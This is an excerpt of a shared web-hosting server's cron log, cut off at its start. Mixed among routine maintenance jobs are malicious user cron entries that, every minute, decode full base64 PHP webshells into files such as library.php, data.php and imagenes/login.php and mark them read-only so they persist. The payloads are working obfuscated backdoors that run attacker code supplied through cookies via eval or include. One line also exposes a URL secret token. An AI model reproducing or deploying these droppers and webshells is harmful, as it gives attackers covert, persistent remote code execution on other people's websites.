"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:56:01 medusa CROND[1471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:56:01 medusa CROND[1473]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:56:01 medusa CROND[1474]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:56:01 medusa CROND[1472]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:56:01 medusa CROND[1477]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:56:01 medusa CROND[1480]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:56:01 medusa CROND[1478]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:56:01 medusa CROND[1479]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:56:01 medusa CROND[1485]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:56:01 medusa CROND[1486]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:56:01 medusa CROND[1483]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:57:01 medusa CROND[3342]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:57:01 medusa CROND[3390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:57:01 medusa CROND[3392]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:57:01 medusa CROND[3393]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:57:01 medusa CROND[3394]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:57:01 medusa CROND[3395]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:57:01 medusa CROND[3396]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:57:01 medusa CROND[3398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:57:01 medusa CROND[3400]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:57:01 medusa CROND[3402]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:57:01 medusa CROND[3403]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:57:01 medusa CROND[3404]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:58:01 medusa CROND[5218]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:58:01 medusa CROND[5219]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:58:01 medusa CROND[5220]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 14:58:01 medusa CROND[5221]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:58:01 medusa CROND[5222]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:58:01 medusa CROND[5223]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:58:01 medusa CROND[5224]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:58:01 medusa CROND[5225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
